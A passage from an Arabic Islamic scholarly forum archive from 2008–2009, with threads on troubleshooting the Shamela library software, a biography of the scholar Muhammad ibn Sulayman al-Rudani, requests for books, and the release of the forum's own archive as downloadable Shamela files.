أخي الفاضل أرجو منك مراجعة جهازك الشامله ما شاء الله لا قوة إلا بالله فوق الممتازة وسريعة جدا، أسأل الله ان يجازي إخواننا عنا كل الخير ونفع الله بهم.
ـ[عزمي أبو عبد الظاهر]ــــــــ[15 - 09 - 08, 05:55 م]ـ
شكرا لك أخي الحبيب محمد الخامس باغوش
أخي الفاضل أرجو منك مراجعة جهازك.
سأفعل إن شاء الله تعالى
الشامله ما شاء الله لا قوة إلا بالله فوق الممتازة وسريعة جدا،.
صدقت أخي الحبيب هي هكذا بالفعل , ولكن المشكلة هي ما ذكرت أعلاه.
أسأل الله ان يجازي إخواننا عنا كل الخير ونفع الله بهم.
أسأل الله تعالى أن يجزي الدكتور نافع , وكل من ساهم في هذا العمل خير الجزاء.
ـ[أبو عبد الله بن سعيد]ــــــــ[15 - 09 - 08, 06:29 م]ـ
نفس المشكلة حدثت معي بسبب الأنتي فيروس (الأفيرا)
حاول اغلاقه قبل فتح الشاملة
ـ[عبد الغفور ميمون]ــــــــ[15 - 09 - 08, 06:59 م]ـ
حصلت المشكلة لي عند ما تأتي الشاملة بنظام إدخال الكتب إلى الارشيف, ولم تحل بعد. ولذلك منذ الترقية إلى 3,5 أخرجت الكتب من الأرشيف.
ولم أتجرأ إلى إدخال الكتب إلى الأرشيف مرة أخرى, حيث عملت ذلك مرتين, وفي كل جصلت المشكلة. ومن خلال تصحفي لهذا المنتدى, لم يشك أحد من هذه المشكلة, فاعتقدت أن ذلك مشكلة خاصة لحاسوبي ..
وعلى كل, فالشاملة رائعة وسريعة ولو بدون إدخال الكتب إلى الأرشيف .. نعم بإدخالها إلى الأرشيف يكون البحث أسرع بكثير, لكن فتح الشاملة ثقيل, وقد أنتظر بعض الوقت لحين فتحها ..
ـ[عزمي أبو عبد الظاهر]ــــــــ[15 - 09 - 08, 10:53 م]ـ
نفس المشكلة حدثت معي بسبب الأنتي فيروس (الأفيرا)
حاول اغلاقه قبل فتح الشاملة
حصلت المشكلة لي عند ما تأتي الشاملة بنظام إدخال الكتب إلى الارشيف, ولم تحل بعد. ولذلك منذ الترقية إلى 3,5 أخرجت الكتب من الأرشيف.
ولم أتجرأ إلى إدخال الكتب إلى الأرشيف مرة أخرى, حيث عملت ذلك مرتين, وفي كل جصلت المشكلة. ومن خلال تصحفي لهذا المنتدى, لم يشك أحد من هذه المشكلة, فاعتقدت أن ذلك مشكلة خاصة لحاسوبي ..
وعلى كل, فالشاملة رائعة وسريعة ولو بدون إدخال الكتب إلى الأرشيف .. نعم بإدخالها إلى الأرشيف يكون البحث أسرع بكثير, لكن فتح الشاملة ثقيل, وقد أنتظر بعض الوقت لحين فتحها ..
جزاكم الله خيرا
ـ[أم جمال الدين]ــــــــ[15 - 09 - 08, 11:05 م]ـ
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
وأنا لي مشكلة أخرى ..
كنت أقوم بإضافة الكتب .. ولم ألبث طويلاً حتى جاءتني رسالة إغلاق الشاملة .. أعدتُ فتحها ونفس رسالة الخطأ تأتيني كلما حاولتُ إضافة الكتب ..
لا أدري إن كانت ستواجهني هذه المشكلة في أوقات أخرى ..
فهل لهذه المشكلة من حل؟
ـ[سيدي محمد اندي]ــــــــ[17 - 09 - 08, 02:23 م]ـ
السلام عليكم
بطء بداية تشغيل الشاملة سببه المضاد المسمى انتي فاير فقد كانت المشكلة عندي وحذفته واستخدمت الكاسبر سيكورتي وهو احسن بكثير والشاملة نعه اسرع من البرق ما شاء الله لا قوة الا بالله
ان اردت التاكد مما قلت لك اغلق المضاد نهائيا الان وافتح الشاملة فان فتحت بسرعة فهو المشكلة والا فلا ادري
ـ[صهيب عبدالجبار]ــــــــ[19 - 09 - 08, 04:13 م]ـ
لقد عانيت من بط الشاملة كثيرا في إصدارها الأخير
لذلك فقد حذفت الإصدار الأخير وأعدت تنصيب الإصدار 3.9
ـ[عزمي أبو عبد الظاهر]ــــــــ[19 - 09 - 08, 11:08 م]ـ
نفس المشكلة حدثت معي بسبب الأنتي فيروس (الأفيرا)
حاول اغلاقه قبل فتح الشاملة
السلام عليكم
بطء بداية تشغيل الشاملة سببه المضاد المسمى انتي فاير فقد كانت المشكلة عندي وحذفته واستخدمت الكاسبر سيكورتي وهو احسن بكثير والشاملة نعه اسرع من البرق ما شاء الله لا قوة الا بالله
ان اردت التاكد مما قلت لك اغلق المضاد نهائيا الان وافتح الشاملة فان فتحت بسرعة فهو المشكلة والا فلا ادري
فعلا الأفيرا هو السبب
بعد إغلاقه عادت الشاملة كما كانت من قبل
لكنه افضل من الكاسبر بمراحل.
شكرا لكم إخوتي.(61/235)
إلى المهتبلين بمحمد بن سليمان الروداني
ـ[أبو العباس السوسي]ــــــــ[15 - 09 - 08, 03:25 م]ـ
من فضلكم عندي بحث عن محمد بن سليمان الروداني المغربي (1094هـ)، وقد وجدت ترجمته في مصادر مغربية ومشرقية كثيرة .. لكني أبحث عن ترجمته في مصادر شامية، وعن سيرته في دمشق التي توفي ودفن بها، بارك الله فيكم.
ـ[الطيب وشنان]ــــــــ[15 - 09 - 08, 08:19 م]ـ
الكتاب: مشيخة أبي المواهب الحنبلي / ص:13
المؤلف: ابن عبد الباقي الحنبلي:محمد بن عبد الباقي بن عبد القادر الحنبلي البعلي الدمشقي، أبو المواهب: مفتي الحنابلة بدمشق - (1044 - 1126 هـ = 1634 - 1714 م)
قال المؤلف:
--------------
ومنهم محمد بن سليمان بن الفاسي. وهو اسم له لا نسبة إلى فاس بن طاهر السوسي الروداني المغربي المالكي، نزيل الحرمين، الإمام الجليل المحدث المفنن.
ولد سنة خمس وثلاثين وألف بتارودنت بتاء مثناة من فوق بعدها ألف ثم راء مضمومة فواو ثم دال مفتوحة فنون ومثناة من فوق ساكنتان: قرية بسوس الأقصى. وقرأ بالمغرب على كبار المشايخ، من أجلهم قاضي القضاة مفتي مراكش ومحققها أبو مهدي عيسى الكناني والعلامة محمد بن سعيد الميرغني المراكشي ومحمد بن أبي بكر الدلاعي وشيخ الإسلام سعيد بن إبراهيم المعروف بقدورة مفتي الجزائر وهو أجل مشايخه، ومنه تلقن الذكر ولبس الخرقة، وأخذ عن الأجهوري وعن الشهابين الخفاجي والقليوبي وأحمد الشوبري والشيخ سلطان وغيرهم وأجازوه، ثم رحل إلى الحرمين وجاور بهما سنين عديدة مع الانكباب على التصنيف وأخذ برملة فلسطين عن شيخ الحنفية خير الدين الرملي. وبدمشق عن نقيبها الشيخ محمد الحسيني بن حمزة ومحمد بن بلبان الحنبلي. ولما كان بالروم حظي عند الوزير مصطفى بيك ومن دونه ومكث نحو سنة ورجع إلى مكة المشرفة مجللاً، وكانت له الكلمة النافذة في مكة، ثم أخرج إلى بيت المقدس فتوجه صحبة الحاج الشامي بعد طلب المهلة إلى موسم الحجاج تعللاً بخوف الطريق وأبقى أهله بمكة وأقام بدمشق في دار النقيب محمد أفندي الحسيني في حياته، وكان مهتما بجمع الكتب الخمسة والموطأ، وله مؤلفات عديدة في علوم العربية وعلم الهيئة والأفلاك والتوقيت والعروض والكرة والأسطرلاب، ووقع له غريبة بالمغرب وهو أنه مر على بلد العارض محمد بم محمد الدادرغتي الناوملي وهو قاصد بلدا آخر فسأل عن البلد فقيل له إن فيها شيخا مربيا .. قال فدخلت بلده فلقيني رجل خارج إلي وقال: أمرني الشيخ أن أخرج إليك وآتيه بك، فلما دخلت إليه رفع إلي بصره فوقعت مغشياً علي بين يديه، وبعد حين أفقت فوجدته يضرب بيده بين كتفي وهو يقول: (وهو على جمعهم إذا يشاء قدير أفمن وعدناه وعداً حسناً فهو لاقيه) (الشورى 29) فأمرني بملازمته وشكوت إليه عدم الفتوح في شيء، وكنت إذا ذاك كذلك فقال لي: اجلس عندنا ودرس كل علم شئت في كل كتاب شئت، ونطلب من الله أن يفتح لك، فجلست فدرست طائفة من الكتب التي قرأتها، وكنت إذا توقفت أحس بمعاني تلقى في قلبي، فكأنها أجرام وكنت نازلاً قريباً منه وكنت أعرف أنه يختم القرآن بين المغرب والعشاء يصلي به النوافل ورأيته يوماً تصفح جميع المصحف الشريف، وجميع تنبيه الأنام وجميع دلائل الخيرات في مجلس، فعجبت من ذلك وسألت بعض الحاضرين فقال لي: من ورد الشيخ أن يختم ثلاثتها بعد صلاة الضحى، ومن غريب ما وقع أيضا: أنه لقي يوما عيسى المراكشي والناس مزدحمون عليه، فانحنى إلي دون الناس فقال: أجزتك بجميع مروياتي فكأنما طبعها في قلبي إلى الآن، وكان ذلك قبل اشتغالي بطلب العلم، ثم غبت عنه ثمانية أعوام ورجعت إليه لتجديد الأخذ عنه سنة ستين وألف قبل وفاته بسنة.
وكان المترجم يعرف الفنون كلها حتى مما لا يتداوله الناس الآن حتى الحكمة والمنطق والهيئة وأنواع الحساب والجبر والمقابلة والارتماطيقي وطريق الخطأين والموسيقى والمساحة معرفة تامة، وله في التفسير وأسماء الرجال والتواريخ وأيام العرب ووقائعهم والأشعار والمحاضرات والعلوم الغربية كالرمل والأوفاق والحروف والسيمياء والكيمياء اليد الطولي، وقد أخذ عنه بمكة والمدينة والشام والروم خلق كثيرون وتوفي بدمشق يوم الأحد عاشر ذي القعدة سنة أربع وتسعين وألف ودفن بسفح قاسيون بالتربة المعروفة بالإيجية بوصية منه.
هذا وقد اجتمعت به بخلوته في الحرم الشريف المكي المطلة على الكعبة المعظمة سنة تسع وسبعين وألف. وأجازني بمروياته كلها، ومنها الكتب الستة جمعني به شيخنا الشيخ حسن العجيمي بأمر من شيخنا الملا إبراهيم الكوراني، ثم اجتمعت به لما جاء لدمشق ونزول بدار السيد محمد بن حمزة النقيب، وحضرت إملاءه صحيح مسلم. ثم اجتمعت به ثانياً بدار النقيب السيد عبد الكريم الحسيني ولد السيد محمد المذكور رحمه الله رحمة واسعة.
الترجمة مأخوذة من الموسوعة الشاملة
ـ[أبو العباس السوسي]ــــــــ[15 - 09 - 08, 09:02 م]ـ
بارك الله فيك اخي وشنان، مرحبا فقد طال غيابك أو غيابي منذ ايام منتدى التراث المغربي الأندلسي المأسوف عليه ..
(يُتْبَع .. اقلب الصفحة)
(61/236)
ـ[اسمير]ــــــــ[01 - 10 - 08, 02:13 ص]ـ
الظاهر انه فاز بوسام الخرقة وهذا لايصل اليه الا صوفي لم ياخذ من صوفهاكثر من 5سنوات ابتسامة(61/237)
ممكن كتاب تحقيق كلمة الاخلاص وشرح حديث ما ذئبان جائعان لابن رجب رحمه الله
ـ[أبو تراب السلفى الاثري]ــــــــ[15 - 09 - 08, 05:25 م]ـ
ممكن كتاب تحقيق كلمة الاخلاص وشرح حديث ما ذئبان جائعان لابن رجب رحمه الله بصيغة الوورد الله يحفظكم
ـ[أبوسلمة السلفي]ــــــــ[15 - 09 - 08, 05:36 م]ـ
شرح حديث ما ذئبان جائعان لابن رجب
الجزء الثالث من الرسائل المنيرية
http://majles.alukah.net/showthread.php?p=9535(61/238)
أرشيف ملتقى أهل الحديث - للشاملة
ـ[نافع]ــــــــ[15 - 09 - 08, 05:37 م]ـ
السلام عليكم ورحمة الله وبركاته
هذه النسخة من أرشيف الملتقى، تم تحميلها في 7 - رمضان 1429 هـ
وهي في 5 ملفات للشاملة (لكبر حجم الأرشيف جدا):
الأول:
المنتدى الشرعي العام
الثاني:
منتدى الدراسات الحديثية
منتدى التخريج ودراسة الأسانيد
الثالث:
منتدى القرآن الكريم وعلومه
منتدى عقيدة أهل السنة والجماعة
منتدى الدراسات الفقهية
منتدى أصول الفقه
منتدى اللغة العربية وعلومها
منتدى السيرة والتاريخ والأنساب
منتدى تراجم أهل العلم المعاصرين
الرابع
خزانة الكتب والأبحاث
قسم المكتبة الشاملة
قسم المخطوطات
الخامس
منتدى الطريق إلى طلب العلم
منتدى الدروس الصوتية
منتدى شؤون الكتب والمطبوعات
منتدى الرواية
منتدى طالبات العلم الشرعي
استراحة الملتقى
ومما يلاحظ على هذه الملفات
1 - ترتيب عرض المشاركات الأحدث أولا، كما في الملتقى تماما
2 - تنسيق خاص لتمييز المشاركات عن بعضها البعض، في الموضوع الواحد
3 - (الأهم): في شاشة العرض الكامل للكتاب تجد رابط الموضوع الذي تتصفحه، أسفل يسار الشاشة، إذا ضغطت على الرابط ينقلك للموضوع على الإنترنت لتطالع ما قد يكون جد فيه من مشاركات بعد تاريخ تحميل الأرشيف .. ويمكنك إضافة ما تختاره منها لخانة التعليق في الكتاب الإلكتروني إن أردت ..
للتحميل: 1 ( http://www.shamela.ws/books/107/10786.rar) 2 (http://www.shamela.ws/books/107/10759.rar) 3 (http://www.shamela.ws/books/107/10769.rar) 4 (http://www.shamela.ws/books/107/10773.rar) 5 (http://www.shamela.ws/books/107/10772.rar)
أو من الترقية الحية
http://www.ahlalhdeeth.com/vb/attachment.php?attachmentid=59883&stc=1&d=1221485319
ـ[محمود الشويحى]ــــــــ[15 - 09 - 08, 05:57 م]ـ
ما شاء الله .. رباب أينما حل أغاث. زادكم الله نفعا. لكم من اسمكم نصيب كبير!!
ـ[يحيى صالح]ــــــــ[15 - 09 - 08, 06:35 م]ـ
بارك الله فيكم و نفعنا الله بعلمكم و جزاكم عنا خيرًا
ـ[أبو محمد المرقال]ــــــــ[15 - 09 - 08, 06:49 م]ـ
جزاك الله خيرا ونفع بك ووفقك أيها الفاضل
ـ[شتا العربي]ــــــــ[15 - 09 - 08, 07:16 م]ـ
بسم الله ما شاء الله
فتح الله عليكم وجعلكم من عتقائه من النار
ـ[نافع]ــــــــ[15 - 09 - 08, 07:43 م]ـ
معذرة .. تم حذف الملفات من السيرفر لخلل بسيط في الأختام (لكبر حجم الملفات)
وجاري إصلاح الخلل وإعادة رفع الملفات خلال ساعات قليلة إن شاء الله
ـ[أبو أكرم الحلبي]ــــــــ[15 - 09 - 08, 08:29 م]ـ
بسم الله ما شاء الله
فتح الله عليكم وجعلكم من عتقائه من النار
آمين
هذه بحق هدية رمضان الكبرى
نحن بانتظارك أخي الحبيب نافع ...
ـ[أبو عبد الله السني]ــــــــ[15 - 09 - 08, 09:40 م]ـ
معذرة .. تم حذف الملفات من السيرفر لخلل بسيط في الأختام (لكبر حجم الملفات)
وجاري إصلاح الخلل وإعادة رفع الملفات خلال ساعات قليلة إن شاء الله
ــــــــــــــــــــــــــــــــــــــــــــــــــ ــــــــــــــــ
أسأل الله أن يعتقك من النار
ـ[أسامة بن الزهراء]ــــــــ[15 - 09 - 08, 10:38 م]ـ
بارك الله فيك أخي الحبيب
يعني انت تريد ما ندخل على الملتقى ... أو ندخل مرة كل سنة (ابتسامة)
محبك
ـ[راشد بن عبد الرحمن البداح]ــــــــ[16 - 09 - 08, 12:34 ص]ـ
اللَّهُمَّ صُبَّ عَلَيْه الْخَيْرَ صَبًّا وَلَا تَجْعَلْ عَيْشَهُ كَدًّا كَدًّا<? xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p>
ـ[عمر القاضي]ــــــــ[16 - 09 - 08, 01:16 ص]ـ
من حملها هل سيحتاج إلى تحميلها مرة أخرى بعد إصلاح خلل الأختام؟
ـ[نافع]ــــــــ[16 - 09 - 08, 01:49 ص]ـ
الحمد لله
تم رفع الملفات
وبعد رفعها تم تنزيلها والتأكد من سلامتها
ومن حمل الملفات سابقا واشتغلت معه، فلا يحملها ثانية لأنها نفس الملفات، لكن كانت حذفت من السيرفر لظروف تتعلق بالختم، وتم تدارك الأمر والحمد لله
ـ[أم جمال الدين]ــــــــ[16 - 09 - 08, 02:47 ص]ـ
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
جزاكم الله خيراً وبارك فيكم ..
حقيقةً عمل رائع جدّاً ..
ـ[أبو المظفر السِّنَّاري]ــــــــ[16 - 09 - 08, 04:59 ص]ـ
بارك الله فيك أخي الحبيب وجزاك الله عنى خيرًا؛ أما أنا فأعجز؛ ولكن أبعث إليك تحية في هذه الأيام المباركة إذا صعدة إلي السماء لكانت بدرًا منيرًا؛ وإذا هبطت إلي الأرض لكستها سندسًا وحريرًا؛ وإذا أمتزجت بماء البحار لجعلت الملح الأُجاج عذبًا فراطًا سلسبيلاً.
هل هذا الأصدار معه الأصدار القديم؟
ـ[الطيماوي]ــــــــ[16 - 09 - 08, 06:42 م]ـ
جزاك الله عني خيرا
ـ[منير عبد الله]ــــــــ[16 - 09 - 08, 11:20 م]ـ
جزاك الله خيرا ..
ماشاء الله ..
والله إني أغبطك على ما تقوم به ..
(يُتْبَع .. اقلب الصفحة)
(61/239)
ـ[خليل إبراهيم]ــــــــ[18 - 09 - 08, 01:26 ص]ـ
دائما سباق للخير
بارك الله فيك ونفع بك
ـ[عصام فرج محمد مدين]ــــــــ[18 - 09 - 08, 02:36 ص]ـ
جزاك الله خيرا ياشيخ نافع خير الناس انفعهم للناس
ـ[أبو الحسن الأثري]ــــــــ[18 - 09 - 08, 03:18 ص]ـ
يا أخي النافع نافع أصبحت الفهرسة لما لم يفهرس ثقيله بل بالأصح لا يفهري ولا سيما أرشيف ملتقى أهل الحديث!
فهل هذه مشكلة في الجهاز أم في البرنامج
وشكر الله لكم محبكم
ـ[نافع]ــــــــ[18 - 09 - 08, 06:34 ص]ـ
المشكلة ليست في الجهاز ولا في البرنامج
بل في أرشيف الملتقى (حجمه كبير جدا حتى بعد تقسيمه لـ 5 أجزاء)
فلكي تفهرسه يوصى بعمل الآتي
- اختيار وقت لا تحتاج الجهاز فيه
- إغلاق كل ما يمكن إغلاقه من البرامج
- إعطاء الأمر للشاملة بالفهرسة، ثم تذهب لتنام (مثلا) أو تقضي بعض حاجتك، وتجده في الصباح أو بعد عدة ساعات قد أتم الفهرسة
وهذا الكلام عام لجميع الكتب الضخمة جدا (مثل أرشيف الملتقى، فتاوى الشبكة الإسلامية، ... )
ـ[محمد جمال المصري]ــــــــ[18 - 09 - 08, 09:09 ص]ـ
أخي الحبيب د. نافع
جزاكم الله خيراً وبارك الله فيكم وفي عملكم
ولكن هل يمكن جعل الملتقى على صيغة Chml؟؟
كما قد نزلت من عامين- عام 2005 تقريباً -، إن كان ذلك بالإمكان
وجزيتم خيراً
ـ[نافع]ــــــــ[18 - 09 - 08, 01:33 م]ـ
حاولت صياغته chm مرات
ويخرج في كل مرة بدون إمكانية البحث مطلقا
الظاهر أنه لكبر حجم الملف، يفشل تمكين البحث فيه
أي: خرج لي ملف الـ chm سليما يمكن تصفحه لكن لا يمكن البحث فيه
ـ[مشرف الشهري]ــــــــ[18 - 09 - 08, 07:17 م]ـ
أعدنا رفعها لكم هنا
http://www.mediafire.com/?sharekey=6b425357c4cdb676ab1eab3e9fa335caa439b673 03617e61
ـ[أبو عمر]ــــــــ[18 - 09 - 08, 10:38 م]ـ
جزاكم الله خيراً وبارك فيكم.
قال أخونا:
يا أخي النافع نافع أصبحت الفهرسة لما لم يفهرس ثقيله بل بالأصح لا يفهري ولا سيما أرشيف ملتقى أهل الحديث!
وقلتم
المشكلة ليست في الجهاز ولا في البرنامج
بل في أرشيف الملتقى (حجمه كبير جدا حتى بعد تقسيمه لـ 5 أجزاء)
فلكي تفهرسه يوصى بعمل الآتي
- اختيار وقت لا تحتاج الجهاز فيه
- إغلاق كل ما يمكن إغلاقه من البرامج
- إعطاء الأمر للشاملة بالفهرسة، ثم تذهب لتنام (مثلا) أو تقضي بعض حاجتك، وتجده في الصباح أو بعد عدة ساعات قد أتم الفهرسة
وهذا الكلام عام لجميع الكتب الضخمة جدا (مثل أرشيف الملتقى، فتاوى الشبكة الإسلامية، ... )
أفليس هذا مدعاة لتطوير تصدير الفهارس مع الكتب ...
أحسن الله إليكم وعفا عتكم
ـ[أسامة بن الزهراء]ــــــــ[18 - 09 - 08, 11:46 م]ـ
الرابع
خزانة الكتب والأبحاث
قسم المكتبة الشاملة
قسم المخطوطات
هذا القسم عند فتحه يظهر في الصفحة الأولى:
هذا الجزء يضم: -
1
- منتدى الدراسات الحديثية
2 - منتدى التخريج ودراسة الأسانيد
=====
مع أن محتواه هو ما ذكره الأخ نافع
فلعل هذه الصفحة تكررت بالخطأ
ـ[محمود الشويحى]ــــــــ[18 - 09 - 08, 11:56 م]ـ
هل يمكن حذفها من تحرير كتاب أم سيؤثر هذا فى سلامة الملف؟
ـ[أبو عمر]ــــــــ[19 - 09 - 08, 11:42 ص]ـ
بارك الله فيكم
عند عمل تدقيق لأختام الكتب يتم نزع الختم تلقائياً عن جميع أجزاء أرشيف الملتقى، طبعاً رغم عدم التعديل مطلقاً من قبل أخيكم، وفقكم الله تعالى
وكذلك عند نزع الختم عن الأرشيف يختفي رابط الموضوع من الزاوية اليسرى السفلية لصفحة العرض
ـ[عبد الرحمن خالد]ــــــــ[19 - 09 - 08, 09:10 م]ـ
جزاك الله خيرا .. هل هذا يشمل الارشيف القديم الذي في الشاملة؟
ـ[نافع]ــــــــ[20 - 09 - 08, 02:40 ص]ـ
فلعل هذه الصفحة تكررت بالخطأ
نعم، هي خطأ ويتم إصلاحه ورفعه مرة أخرى إن شاء الله
عند عمل تدقيق لأختام الكتب يتم نزع الختم تلقائياً عن جميع أجزاء أرشيف الملتقى
هذا خطأ بسيط، اكتشفته وأجلت إصلاحه للتحديث القادم، لأنني ظننت أنه لن يقوم أحد بعمل (تدقيق لأختام جميع الكتب) في هذه الفترة القصيرة قبل خروج التحديث القادم (إن شاء الله)، وأمر إصلاحه سهل إن شاء لله
عند نزع الختم عن الأرشيف يختفي رابط الموضوع من الزاوية اليسرى السفلية لصفحة العرض
نعم، وفي التحديث القادم - إن شاء الله - يعود الرابط للظهور - رغم زوال الختم عن الكتاب
أفليس هذا مدعاة لتطوير تصدير الفهارس مع الكتب ...
كتب الموقع، يمكن تصديرها بفهارسها
لكني لم أرفع أرشيف الملتق مفهرسا لأن حجمه (دون فهرسة) كبير، وسيتضاعف بالفهرسة .. فقلت لعله أهون على الأخوة أن يفهرسونه بأنفسهم، ويكون أيسر من تحميل هذه الأحجام الضخام
على أن الأمر ليس بهذا العسر، فقد تركت الجهاز يفهرس عدة ساعات وعدت، فوجدته أنهى الجزء الأول والثاني ويعمل في الثالث
وهناك من الأخوة في الملتقى من أتم الفهرسة وذكر ذلك في مشاركات
ويمكن أن أعيد رفع ملفات أرسيف الملتقى مفهرسة بحيث يتم استيرادها بفهارسها، لو كان فهرستها عسيرا على كثير من الأخوة
فليكن هذا أشبه بتصويت صغير: من يريد رفع أرشيف الملتقى مفهرسا، ومن أمكنه أن يفهرسه على جهازه
(يُتْبَع .. اقلب الصفحة)
(61/240)
ـ[أم جمال الدين]ــــــــ[20 - 09 - 08, 02:51 ص]ـ
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
فليكن هذا أشبه بتصويت صغير: من يريد رفع أرشيف الملتقى مفهرسا، ومن أمكنه أن يفهرسه على جهازه
ما رأيك أن تذكر لنا كيف نقوم بالفهرسة؟!
ـ[نافع]ــــــــ[20 - 09 - 08, 03:24 ص]ـ
يمكن فهرسة كتاب معين من الزر الخاص لذلك في الجزء الأيسر من شاشة التحكم
ـ[راشد بن عبد الرحمن البداح]ــــــــ[20 - 09 - 08, 06:21 ص]ـ
يا د. نافع: دخلتُ في اليوم الثالث، ولم أنتَهِ بعدُ من فهرسة الملف الأول من أرشيف الملتقى!!!!!!
فبماذا تشيرون؟!
ـ[أبو عمر]ــــــــ[20 - 09 - 08, 04:21 م]ـ
حفظك الله أخي نافع وبارك فيك، هب أن أخاك يود تصدير أرشيف الملتقى إلى نسخة ثانية من الشاملة، أو مثلاً موقع أدب أو فتاوى الشبكة الإسلامية وغيرها من الملفات الضخمة ومن جهازي إلى جهازي نفسه، هل يتوجب أن أقوم بفهرستها كل مرة، أعانكم الله ..
هي ميزة أحب أن تكون موجودة اختيارياً في الشاملة.
وفقكم الله وأعانكم وسدد خطاكم
ـ[نافع]ــــــــ[20 - 09 - 08, 06:59 م]ـ
دخلتُ في اليوم الثالث، ولم أنتَهِ بعدُ من فهرسة الملف الأول من أرشيف الملتقى!!!!!!
فبماذا تشيرون؟!
إن شاء الله أرفع الليلة أو غدا، نسخة مفهرسة من أرشيف الملتقى، بحيث أن من يستوردها، يستوردها بفهارسها
وعندما أرفعها، سيمكن تحميلها من برنامج الترقية الحية إن شاء الله تعالى
ـ[علاء المصرى]ــــــــ[03 - 10 - 08, 04:00 ص]ـ
كما سمى ابن عمر ابنه سالما ليسلم فقد سميت نافعا لينفع الله بك ونحسبك كذلك وجزاك الله خيرا"
ـ[محمد سالم الشنقيطي]ــــــــ[03 - 10 - 08, 04:15 م]ـ
ما شاء الله .. رباب أينما حل أغاث. زادكم الله نفعا. لكم من اسمكم نصيب كبير!!
اريد كتاب امثال الحديث
ـ[محمد القصيف]ــــــــ[15 - 11 - 08, 05:18 ص]ـ
جزاكم الله خيرا
هناك تكرار في بعض المنتديات بالارشيف
ويمكن ملاحظة كذلك في أول وآخر موضوع بالمنتدى
فبعد أن بدأ سرد المواضيع مرتبة تنازليا بحسب تاريخ كتابتها وبعد عدد من المواضيع أجد بداية ترتيب جديد للمواضيع تصاعديا ومن تاريخ قديم حتى ينتهي إلى المواضيع التي قد رتبت تنازليا
ـ[محمد القصيف]ــــــــ[16 - 11 - 08, 09:05 م]ـ
الرفع للأهمية
ـ[محمد القصيف]ــــــــ[18 - 11 - 08, 04:44 م]ـ
الرفع للأهمية
ـ[محمد القصيف]ــــــــ[18 - 11 - 08, 04:48 م]ـ
وهل هذا الأرشيف يضم الأرشيف القديم؟؟؟
ـ[محمد شولي]ــــــــ[23 - 12 - 08, 07:32 ص]ـ
جزاكم الله كل خير و أحسن إليكم
ـ[سيدي محمد اندي]ــــــــ[19 - 06 - 09, 06:10 م]ـ
وهل هذا الأرشيف يضم الأرشيف القديم؟؟؟
السلام عليكم
وانا اسال هذا السؤال
وكذلك اسال هل من حل لمشكلة عدم تمييز المشاركة من الاقتباس فقد قرات بعض هذه المشاركات وفي البداية لم افهمها الا بعد ان اكتشفت ان بعض النص مقتبس من مشاركة اخرى
وجزاكم الله خيرا
ـ[شتا العربي]ــــــــ[01 - 07 - 09, 01:52 م]ـ
اخترت عدم تحميل هذا الأرشيف لعدم وجود مساحة على أمل أن أحمله لاحقا لما تتوفر المساحة إن شاء الله في الجهاز
لكنه لم يعد يظهر عندي في الكتب الموجودة بالموقع
فكيف أجعله يرجع يظهر مرة أخرى عندي
وجزاكم الله خيرا وبارك فيكم وأورثكم الفردوس الأعلى
ـ[أبو عبد الرحمن الشريف]ــــــــ[05 - 07 - 09, 08:27 ص]ـ
جزاك الله خيرا أخي الكريم نافع
وأنا أحبك في الله
وأسأل الله أن يجزيك خير الجزاء علي مكتبتك الرائعه التي طالما إنتفعت بها كثيرا (ولست من طلاب العلم)
وكما جعلتها مجانا للمسلمين يحملونها بغير حساب أسأل الله أن يرزقك الفردوس الأعلي من الجنه بغيرحساب أنت و والديك و أهلك فكما قيل الجزاء من جنس العمل
ـ[احمد الازهرى السلفي]ــــــــ[08 - 07 - 09, 03:20 ص]ـ
السلام عليكم ورحمة الله وبركاته
جزاكم الله خيراً وبارك فيكم(61/241)
موقع مكتبة المدينة العالمية يحتوي على كتب pdf ويشترط التسجيل، من يمكنه مساعدتي؟
ـ[أبو حنين]ــــــــ[15 - 09 - 08, 07:22 م]ـ
هذا رابط البحث في الفهارس
http://catalog.mediu.edu.my/cgi-bin/koha/opac-main.pl
بعد البحث عن الكتاب يخرج لك رابط كل جزء بمفرده
تضغط على الرابط فيعطيك رابط PDF لكنه يشترط التسحيل
أرجو المساعدة
ـ[أبو البراء العدوي]ــــــــ[16 - 09 - 08, 09:42 ص]ـ
ادخل أخي هذه الصفحة http://cmsweb.mediu.edu.my/jamiah/Apply/Library.aspx?lang=ar
وسجل فيها وسوف يعطونك اسم دخول وكلمة سر يمكنك الدخول بها فيما بعد
ـ[أبو حنين]ــــــــ[16 - 09 - 08, 02:38 م]ـ
جزاك الله كل خير على هذه المساعدة(61/242)
كتاب تحذير الداعيه من القصص الواهيه للشيخ على حشيش
ـ[عصام فرج محمد مدين]ــــــــ[15 - 09 - 08, 07:38 م]ـ
السلام عليكم
هل اجد عندكم كتاب تحذير الداعيه من القصص الواهيه للشيخ على حشيش الجزء الاول والثانى فاننى سمعت عنه وبحثت على الشبكه ولم اجده ...
ـ[ابو عبد الرحمن الجزائري]ــــــــ[03 - 11 - 08, 11:37 ص]ـ
للرفع
ـ[كاتب]ــــــــ[03 - 11 - 08, 02:40 م]ـ
السلام عليكم ....
لا أعلم إن كان الكتاب مطبوعا أم لا ... لكن الكتاب ما زال الشيخ - حفظه الله - ينشره كحلقات متتالية بمجلة التوحيد ( http://www.altawhed.com/detail.asp?InServiceID=89&intemplatekey=mainpage&Inmagflag=1) ...
ولعلك تحصل على كل ما كتبه الشيخ (بضع وعشرون عدداً) من موقع المجلة ( http://www.altawhed.com/Detail.asp?InIssueNo=80&InSectionID=1333&InTemplateKey=Homepage)
والله المستعان ..
ـ[ابو عبد الرحمن الجزائري]ــــــــ[03 - 11 - 08, 02:53 م]ـ
رأيت الكتاب مطبوع في مجلد ونشرته دار العقيدة
ـ[عبد الحميد الفيومي]ــــــــ[11 - 02 - 09, 08:04 م]ـ
فعلاً يوجد كتاب مطبوع نشر دار العقيدة
وفيه خمسون موضوعاً مجموعة من مجلة التوحيد
والكتاب عندي
لكن هل يعرف أحد إن كان موجوداً على الشبكة؟
بارك الله فيكم(61/243)
أخلاقيات فتح مكة [رسالة رمضانية]
ـ[محمد مسعد ياقوت]ــــــــ[16 - 09 - 08, 12:04 ص]ـ
